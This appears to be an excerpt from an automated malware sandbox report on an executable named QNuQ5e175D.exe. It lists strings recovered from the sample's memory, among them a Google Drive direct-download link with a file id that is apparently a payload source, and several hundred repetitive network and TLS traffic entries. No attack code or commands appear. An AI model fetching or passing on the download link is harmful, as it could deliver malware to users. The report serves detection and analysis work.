Source: QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadt
Source: QNuQ5e175D.exe, 00000003.00000003.1847687586.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1813958035.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858349107.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1690308078.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1847731615.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768510854.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1735078700.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1712715094.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1836340041.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1836304507.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1701291775.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1723334448.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791237661.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780080786.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1745810873.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1858487452.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1803358057.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757374960.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1678008587.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1779990575.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1701334544.0000000003A81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloaduq
Source: QNuQ5e175D.exe, 00000003.00000003.1723334448.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1745810873.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1678008587.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadvv
Source: QNuQ5e175D.exe, 00000003.00000003.1745863415.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A43000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1791818626.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780110033.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1768535254.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757399705.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1881137157.0000000003A57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadw
Source: QNuQ5e175D.exe, 00000003.00000003.1993229355.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2082212148.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2060093323.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2015717613.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloadx
Source: QNuQ5e175D.exe, 00000003.00000003.2457226025.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=downloady
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: QNuQ5e175D.exe, 00000003.00000003.2434684472.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780080786.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1803358057.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757374960.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562113835.0000000003AC1000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617239451.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1779990575.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2027261178.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1592877929.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1970929884.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1960034459.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2445603809.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948458745.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1604917776.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757332882.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: QNuQ5e175D.exe, 00000003.00000003.2434684472.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780080786.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628221931.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1803358057.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1667217683.0000000003A74000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757374960.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562113835.0000000003AC1000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617239451.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1779990575.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2027261178.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1592877929.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1970929884.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1960034459.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2445603809.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948458745.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: QNuQ5e175D.exe, 00000003.00000003.2434684472.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2116216201.0000000003A78000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1780080786.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2071438083.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1937717326.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1803358057.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757374960.0000000003A80000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000002.2562113835.0000000003AC1000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1617239451.0000000003A57000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1779990575.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2027261178.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1592877929.0000000003A82000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1970929884.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1960034459.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2445603809.0000000003A79000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2104101611.0000000003AB9000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1948458745.0000000003A81000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1892630990.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1604917776.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1757332882.0000000003A79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: QNuQ5e175D.exe, 00000003.00000002.2562009711.0000000003A61000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.1628142286.0000000003A7B000.00000004.00000020.00020000.00000000.sdmp, QNuQ5e175D.exe, 00000003.00000003.2037793311.0000000003A7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.225:443 -> 192.168.2.11:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.142:443 -> 192.168.2.11:50060 version: TLS 1.2
